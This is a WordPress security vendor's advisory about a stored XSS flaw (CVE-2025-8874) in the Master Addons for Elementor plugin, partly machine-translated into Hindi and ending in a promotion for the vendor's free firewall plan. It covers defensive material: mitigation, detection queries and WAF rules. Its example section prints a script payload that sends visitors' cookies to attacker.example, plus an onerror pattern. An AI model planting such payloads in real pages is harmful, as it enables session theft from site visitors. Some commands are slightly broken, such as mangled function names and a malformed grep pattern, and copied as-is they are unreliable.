प्लगइन का नाम	Master Addons for Elementor
Type of Vulnerability	Authenticated Stored XSS
CVE Number	CVE-2025-8874
तात्कालिकता	कम
CVE Publish Date	2025-08-11
Source URL	CVE-2025-8874

Master Addons for Elementor (≤ 2.0.9.0) — Authenticated Contributor Stored XSS via fancyBox (CVE-2025-8874): what site owners need to know and how to protect their WordPress sites

सारांश

A stored cross-site scripting (XSS) vulnerability affecting Master Addons for Elementor (fixed in 2.0.9.1) allows an authenticated user with Contributor-level privileges to store malicious HTML/JavaScript via the plugin’s use of the fancyBox lightbox/caption fields. The stored payload executes when visitors view affected front-end pages. Although the CVSS score for this issue is moderate (listed as 6.5), the practical impact can be significant — arbitrary script execution in the context of your domain, which can lead to site defacement, redirect campaigns, cookie theft, or chained attacks against higher-privileged users.

As WordPress security practitioners at WP-Firewall, we want to give site owners and administrators a clear, practical guide: what this vulnerability is, how it can be exploited, how to quickly mitigate it (even before patching), how to detect whether you’ve been affected, and recommendations for long-term hardening.

This post covers:

• What happened and which versions are affected
• Technical root cause and likely exploit path
• Immediate mitigations you can apply right now (server/WAF/site-level)
• Detection and cleanup guidance (including WP-CLI and SQL examples)
• Developer notes for plugin authors and site integrators
• How WP-Firewall protects you (free plan details below)

Vulnerability at a glance

• Affected plugin: Master Addons for Elementor — versions <= 2.0.9.0
• इसमें सुधार किया गया: 2.0.9.1
• भेद्यता: Stored Cross-Site Scripting (XSS) via fancyBox usage
• CVE: CVE-2025-8874
• आवश्यक विशेषाधिकार: Contributor (authenticated user)
• प्रभाव: Stored XSS executed in the context of the site when a visitor opens a fancyBox item or when the plugin renders unsanitized fields
• Patch priority: Low/Moderate (exploitability depends on contributor access and theme/plugin usage patterns)

Why this matters: stored XSS is persistent

Stored XSS means an attacker stores a malicious payload on the site (in the database or persistent storage) — and that payload is later sent to other users’ browsers without proper encoding or sanitization. Unlike reflected XSS, an attacker doesn’t need to trick a victim into clicking a crafted URL; all they need is the ability to save content that will be viewed by others.

Even if the vulnerability requires only Contributor privileges, many sites allow contributors to upload images, edit captions, or create gallery items. If those fields are rendered into HTML attributes or caption markup by the plugin without escaping, the attacker can inject JavaScript that runs for site visitors and administrators.

Technical explanation — how the exploit works (high level)

1. The plugin uses fancyBox to render images/lightboxes on the front end. fancyBox supports attributes like data-caption, title, and other parameters that can contain HTML.
2. The plugin stores user-supplied strings (captions, titles, alt text, meta fields) in post meta (or widget settings) and outputs them into the front-end markup. In some plugin versions the data is not properly sanitized/escaped before output.
3. A contributor user creates/edits content (image caption, widget settings) and injects HTML/JavaScript payloads — e.g. inline script tags, onerror attributes, or event handlers inside markup stored in a caption or data attribute.
4. When a visitor opens the fancyBox or when the gallery widget is rendered, the stored HTML is inserted into the DOM and the browser executes the attacker-controlled script.

Example (simplified)

An attacker stores a caption such as:

<script>fetch('https://attacker.example/collect?c='+document.cookie)</script>

If the plugin writes this caption into the page without escaping:

<div class="fancybox-caption"></div>

the script runs in the user’s browser when they view the page.

Another common pattern is payloads in image attributes:

<img src="x" onerror="/* malicious JS */">

If the fancyBox output inserts attributes into the DOM unsafely, the onerror will execute when the lightbox loads the (invalid) src.

Immediate actions for site owners (fast, before patching)

If you manage sites with the affected plugin and cannot update immediately, perform the following actions in order. These will reduce exposure and buy you time for a full remediation.

1. Update the plugin to 2.0.9.1 (recommended)
   • The vendor released a fix in 2.0.9.1. This is the safest and most permanent fix. Update immediately where possible.
2. Temporarily restrict contributor activity
   • Change Contributor users to a lower-risk role (e.g., Subscriber) or temporarily disable new contributor registrations.
   • If you rely on Contributors for content workflow, consider moving to an editor-managed content approval process until you’re patched.
3. Disable vulnerable widgets/features
   • If you have control over the theme or page templates, temporarily disable the gallery/lightbox widgets supplied by the plugin.
   • Remove any shortcodes, widgets, or Elementor elements that render fancyBox or gallery output until patched.
4. Apply an emergency WAF rule (virtual patch)
   • Block incoming requests that include suspicious payloads targeting known fancyBox fields or admin endpoints where contributors post data. For example:
   • Block POST requests to admin-ajax.php, wp-admin/post.php, and post-new.php that contain <script> tags or onerror= attributes in form fields.
   • Block requests containing data-fancybox or data-caption fields with script tags.
   • If you have a managed firewall or host-level ModSecurity, enable a rule that inspects request bodies for angle-bracket characters in fields that should be plain text.
5. Add a restrictive Content Security Policy (CSP) temporarily
   • A strict CSP can prevent inline script execution and reduce the risk of stored XSS payloads executing.
   • Example CSP to block inline scripts (test first; this can break functionality):
     Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-...'; object-src 'none'; base-uri 'self'
   • Note: CSPs often require site-specific tuning. Use carefully and test on a staging site.
6. Tighten file upload controls
   • Ensure Contributors cannot upload files with dangerous extensions or executable content.
   • Limit MIME types and check server upload directories for unexpected files.
7. Monitor logs and traffic
   • Look for unusual admin POST traffic, new posts or attachments created by contributor accounts, and requests with suspicious payloads. Export and save logs for incident response.

Detection: how to find if your site has stored payloads

Use these queries and commands to locate suspicious content in the WordPress database and files.

Search post meta and posts for HTML tags commonly used in XSS:

• SQL (run from phpMyAdmin or via WP-CLI):

SELECT ID, post_title, post_author FROM wp_posts WHERE post_content LIKE '%<script%' OR post_content LIKE '%onerror=%' OR post_content LIKE '%javascript:%';

SELECT post_id, meta_key, meta_value FROM wp_postmeta WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror=%' OR meta_value LIKE '%data-fancybox%';

• WP-CLI search:

wp db query "SELECT ID, post_title, post_author FROM wp_posts WHERE post_content LIKE '%<script%';"

• Postmeta search:

wp db query "SELECT post_id, meta_key FROM wp_postmeta WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror=%';"

Search uploads and theme files for suspicious injections:

grep -RIn --exclude-dir=wp-content/uploads 'onerror\|<script\|' wp-content/uploads wp-content/themes wp-content/plugins

Search for recently modified posts or files:

SELECT ID, post_title, post_date, post_author FROM wp_posts WHERE post_author IN (SELECT ID FROM wp_users WHERE user_role LIKE '%contributor%') AND post_date > '2025-08-01';

Note: In many setups user roles are stored elsewhere; adapt queries for your schema or use admin UI filters.

Cleaning up stored payloads

If you find injected content, follow a safe cleanup process:

1. Backup first — full database and file backup.
2. Isolate and export the infected items for analysis (a copy of the affected post_meta and post rows).
3. Remove scripts and attributes safely:
   • Use wp-cli or a safe PHP script to sanitize fields. Example: remove <script> tags from post content:

     wp db query "UPDATE wp_posts SET post_content = REPLACE(post_content, '<script', '&lt;script') WHERE post_content LIKE '%<script%';"

   • Or programmatic sanitize via WP functions:
     • load WordPress environment and call wp_strip_all_tags() on content where appropriate, but be careful to preserve legitimate HTML.
4. If payloads are stored in postmeta, remove or sanitize meta values:

   wp db query "UPDATE wp_postmeta SET meta_value = REPLACE(meta_value, '<script', '&lt;script') WHERE meta_value LIKE '%<script%';"

5. Check attachments and uploads for any suspicious files (PHP uploaded to upload dirs, HTML files, etc.). Remove or quarantine.
6. Rotate potentially compromised credentials — especially admin users who may have visited the infected content during the breach window.
7. Scan site files for webshells or backdoors. Use multiple scanning tools if possible, and consider a professional incident response if you find evidence of compromise beyond stored XSS.

Hardening and longer-term mitigations

• Keep plugins, WordPress core, and themes updated. Patching is the first line of defense.
• Enforce the principle of least privilege. Contributors shouldn’t be able to publish or upload without approval unless absolutely necessary.
• Implement a content approval workflow: have Editors/Administrators authenticate and review content before publication.
• Use server-side input validation and context-aware escaping on every output point. Treat any user-supplied string as untrusted.
• Add CSP and SRI (Subresource Integrity) where possible to reduce the impact of injected scripts.
• Put strict validation on any fields that are displayed in attributes (data-*, title, alt, caption). These must be sanitized for attributes or encoded as text.
• Limit markup allowed in captions — if captions are plain text, strip HTML tags before saving.

How a Web Application Firewall (WAF) helps you right now

A good WAF can provide virtual patching — rules that block exploitation patterns before the server-side fix is applied. Here’s how a WAF can help mitigate this specific issue:

• Block POST bodies that include suspicious tokens (e.g., <script>, onerror=, javascript:) submitted to endpoints where contributors make changes (admin-ajax.php, post.php, post-new.php).
• Prevent stored XSS payloads from being written by sanitizing/rewriting suspicious characters in requests.
• Prevent the front-end delivery of known attack payloads by inspecting outgoing HTML and blocking or sanitizing dangerous attributes.
• Apply rate limits or second-factor requirements on accounts with Contributor privileges if unusual content patterns are detected.
• Monitor for attempted exploitation attempts and alert administrators.

Example WAF / ModSecurity-style rule (conceptual)

Note: implement these with care and test on staging. These are examples to illustrate; specific environments require tuning.

- Block request bodies containing <script> or onerror= when originating from non-admin roles:
SecRule REQUEST_URI|ARGS|REQUEST_BODY "@rx (<script|onerror\s*=|javascript:)" \
  "id:123456,phase:2,deny,log,msg:'Possible XSS attempt - blocking request containing script/onerror/javascript',severity:2"

Be cautious: false positives are possible for legitimate HTML usage (some themes/plugins rely on HTML in captions). Tweak rules to only target admin endpoints and authenticated contributor accounts where feasible.

Developer guidance (for plugin authors and integrators)

• If you’re a developer or a site integrator working with plugins or page builders:
• Always escape output according to context:
  • उपयोग esc_एचटीएमएल() for HTML body text
  • उपयोग esc_एट्रिब्यूट() for attribute values
  • उपयोग wp_kses() with a strict allowlist if you must allow some HTML
• Validate input on save:
  • Strip disallowed tags on save for fields intended to be plain text.
  • Reject or sanitize attributes that could contain event handlers (onerror, onclick) or javascript: URIs.
• Avoid blindly rendering user-provided content into data-* attributes and then injecting them as HTML later.
• When integrating third-party libraries like fancyBox, ensure that the content passed to the library is sanitized and escaped.
• Implement capability checks and nonces for form submissions. Make sure Contributor capabilities can’t bypass sanitization.
• Offer site admin configurations for whether captions are HTML or plain text and default to plain text.

Monitoring and post-incident checklist

• If you suspect your site has been exploited:
• Preserve logs: access logs, error logs, and application logs.
• Isolate affected site (if necessary): put it into maintenance mode or restrict access to mitigate further spread while you investigate.
• Identify affected objects: posts, postmeta, attachments, widgets.
• Clean and restore from a clean backup if you can’t confidently remove the malicious content.
• Rotate passwords and API keys for users that may have viewed malicious content in an administrative context.
• Review for lateral movement: check for malware or webshells in uploads and theme/plugin directories.

Multisite considerations

If you run a multisite network, a Contributor-level user on one site may be able to inject content that affects network-wide visitors. Coordinate patching across all subsites. Disable or remove the vulnerable plugin network-wide until it’s updated.

Why this wasn’t labeled “critical” — and why you should still care

The vulnerability requires an authenticated user with Contributor privileges to introduce the payload. This reduces remote, unauthenticated exploitability and therefore impacts scoring. However:

• Many sites allow contributor accounts (guest bloggers, external contributors).
• Contributor accounts may be created through weak onboarding or insufficient verification processes.
• Stored XSS can be pivoted into more serious compromise if an administrator clicks a link or views infected content in a privileged context.

Therefore, treat this as a serious operational risk and apply mitigations quickly.

WP-Firewall protection details

At WP-Firewall we focus on fast, practical protections that reduce risk immediately and continue to protect after patching is applied.

How WP-Firewall helps with threats like this:

• Managed rule sets that block typical stored XSS payloads submitted to admin endpoints and front-end forms.
• Virtual patching (temporary protection rules) available to customers so sites can be protected even before plugin patches are installed.
• Malware scanner and content inspection to detect suspicious stored content (post meta and uploads).
• Alerts when suspicious POSTs or site content patterns are observed so administrators can act quickly.
• Role-based protection logic to monitor and throttle actions performed by contributor-level users.

Signup paragraph — Protect your site with WP-Firewall Basic (Free)

Protect Your Site Immediately — Start with WP-Firewall Free Plan

If you want an immediate layer of protection you can enable today, try the WP-Firewall Basic (Free) plan. It includes managed firewall protection, an application-level WAF, malware scanning, and protection against OWASP Top 10 risks — all without bandwidth limits. Basic gives you a fast, low-friction way to reduce exposure to stored XSS and similar issues while you coordinate updates and cleanup. Sign up for the free plan and get instant defensive rules applied to your site: https://my.wp-firewall.com/buy/wp-firewall-free-plan/

Best-practice checklist (quick reference)

• Update Master Addons for Elementor to 2.0.9.1 immediately.
• Temporarily restrict Contributor accounts and block new registrations if you can’t patch right away.
• Scan wp_posts and wp_postmeta for <script>, onerror=, javascript:, data-fancybox, and other suspicious tokens.
• Run a full malware scan on files and uploads; remove suspicious files.
• Add WAF rules to block request bodies with script tags to admin endpoints.
• Consider a CSP to mitigate inline script execution while you clean up.
• Rotate credentials and review user activity logs.
• Harden input validation and escaping on any custom code or integrations.

निष्कर्ष

CVE-2025-8874 (stored XSS in Master Addons via fancyBox) is a classic example of how insufficient output escaping combined with user-supplied content can result in persistent XSS, even when the attacker’s privileges are “limited.” The good news is the vendor released a fix (2.0.9.1), and there are effective interim measures you can take: restrict contributor activity, disable the vulnerable widget, apply WAF rules, search for and sanitize stored payloads, and enable scanning and monitoring.

If you’re an admin who wants quick protection while you coordinate updates or an operations team who needs virtual patching until all sites are patched, WP-Firewall provides managed rules, scanning, and monitoring to reduce exposure quickly. For immediate protection and long-term peace of mind, take a moment to activate the Basic (Free) plan and evaluate the additional features available in paid tiers for automated removal, virtual patching, and managed services.

If you’d like help: we’re available to review scan results, tune rules for your environment, and provide step-by-step remediation assistance. Contact your hosting security contact or reach out to us through the WP-Firewall dashboard once you’ve signed up.

Appendix: useful commands and snippets

Search for suspicious post content (WP-CLI):

wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<script%';"

Sanitize found post_content by removing <script> tags (example; test before running):

wp db query "UPDATE wp_posts SET post_content = REGEXP_REPLACE(post_content, '<script[^>]*>.*?</script>', '', 'i') WHERE post_content REGEXP '<script[^>]*>.*?</script>';"

Search postmeta for data-fancybox entries:

wp db query "SELECT post_id, meta_key FROM wp_postmeta WHERE meta_value LIKE '%data-fancybox%' OR meta_value LIKE '%fancybox%';"

ModSecurity example (conceptual — test and tune):

SecRule REQUEST_URI|ARGS|REQUEST_BODY "@rx (<script|onerror\s*=|javascript:)" \
    "id:910001,phase:2,deny,status:403,log,msg:'Block possible stored XSS payload'"

Content Security Policy header example (test carefully):

Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"

Final note

Security is both technical and operational. Patching is critical, but people and processes matter too: validate new contributor workflows, vet third-party contributors, and ensure you have monitoring and virtual protections in place to reduce the window of exposure. If you need assistance implementing any of the technical steps above, WP-Firewall support is ready to help.